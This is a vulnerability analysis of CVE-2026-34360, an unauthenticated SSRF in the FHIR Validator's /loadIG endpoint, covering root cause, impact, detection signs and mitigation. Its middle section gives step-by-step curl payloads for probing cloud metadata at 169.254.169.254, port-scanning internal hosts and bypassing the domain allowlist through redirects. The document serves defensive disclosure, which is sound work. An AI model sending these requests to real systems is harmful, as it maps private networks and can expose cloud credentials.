CVE-2026-34360: 
Java vulnerability analysis and mitigation

CVE-2026-34360 is an unauthenticated blind Server-Side Request Forgery (SSRF) vulnerability in the FHIR Validator HTTP service (ca.uhn.hapi.fhir:org.hl7.fhir.core). The /loadIG endpoint accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation, enabling internal network probing by unauthenticated attackers. All versions prior to 6.9.4 of the hapifhir/org.hl7.fhir.core Maven package are affected. The vulnerability was published on March 27, 2026, and carries a CVSS v3.1 base score of 5.8 (Medium) (GitHub Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): LoadIGHTTPHandler.handle() reads the ig field from user-supplied JSON and passes it directly to IgLoader.loadIg() with no validation. The only URL check performed by Common.isNetworkPath() verifies that the URL starts with http: or https: — no host or IP address validation is applied. The ManagedWebAccess.inAllowedPaths() domain allowlist check is a no-op by default because allowedDomains is initialized as an empty list and explicitly returns true when empty (confirmed by a //TODO comment in the source). Additionally, SimpleHTTPClient.get() follows up to five HTTP redirects (301/302/307/308) without re-validating redirect targets against the allowlist, enabling a redirect-based bypass even if allowedDomains were configured. With explore=true set by default, each /loadIG call triggers multiple outbound HTTP requests, amplifying reconnaissance capability (GitHub Advisory).

An unauthenticated attacker with network access to the FHIR Validator HTTP service can probe internal network services by differentiating open/closed ports and reachable/unreachable hosts via error-based information leakage (e.g., "connection refused" vs. content parse errors). Attackers can reach cloud instance metadata services (AWS/GCP/Azure at 169.254.169.254) from the validator's network position, potentially exposing cloud credentials or configuration data. The impact is limited to confidentiality (network topology mapping and metadata disclosure) — integrity and availability are not directly affected, and fetched content is not directly returned to the attacker (GitHub Advisory).

A proof-of-concept exploit consisting of concrete curl commands targeting the /loadIG endpoint is publicly available in the GitHub Security Advisory. The PoC demonstrates cloud metadata probing, internal port scanning, and redirect-based bypass attacks with specific payloads. No authentication or special privileges are required, and the service binds to all interfaces by default. The EPSS score is approximately 0.022% (0.000220), and there is no evidence of active in-the-wild exploitation or CISA KEV catalog listing at this time (GitHub Advisory).

1. Reconnaissance: Identify internet- or network-facing FHIR Validator HTTP service instances (default port 8080) running ca.uhn.hapi.fhir:org.hl7.fhir.core versions prior to 6.9.4 using network scanners or Shodan.
2. Probe cloud metadata endpoint: Send a crafted POST request to /loadIG with the AWS metadata URL as the ig value:

curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'

Analyze the error response to determine if the metadata endpoint is reachable from the validator's network position. 3. Port scan internal hosts: Enumerate internal hosts and ports by varying the target IP and port in the ig URL. An open port returns quickly with a parse error; a closed port returns "Connection refused":

curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:8080/"}'

4. Redirect bypass (if allowedDomains configured): Host an HTTP redirect on an allowed domain pointing to an internal target, then submit the allowed-domain URL. The validator follows the redirect without re-validating the destination:

curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://allowed-domain.com/redir"}'

5. Map network topology: Systematically iterate over internal IP ranges and ports, using error message differences to build a map of reachable internal services (GitHub Advisory).

• Network: Outbound HTTP GET requests from the FHIR Validator host to 169.254.169.254 (cloud metadata) or RFC-1918 private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16); multiple rapid outbound HTTP requests triggered by a single inbound POST to /loadIG.
• Logs: HTTP access logs showing repeated POST requests to /loadIG with varying ig field values containing internal IPs, private ranges, or metadata service URLs; HTTP 500 responses containing exception messages such as "Failed to load IG: Connection refused" or "Failed to load IG: connect timed out" in application logs.
• Application: Java exception stack traces in the FHIR Validator logs referencing LoadIGHTTPHandler, IgLoader, or SimpleHTTPClient with internal/private target URLs in the error message (GitHub Advisory).

Upgrade ca.uhn.hapi.fhir:org.hl7.fhir.core to version 6.9.4 or later, which is the patched release. If immediate patching is not possible, restrict network access to the FHIR Validator HTTP service to trusted clients only (e.g., via firewall rules or network segmentation), and consider disabling or blocking the /loadIG endpoint. Additionally, configure allowedDomains to restrict outbound requests to known FHIR registries (e.g., packages.fhir.org, hl7.org) and add authentication to the HTTP service (GitHub Advisory).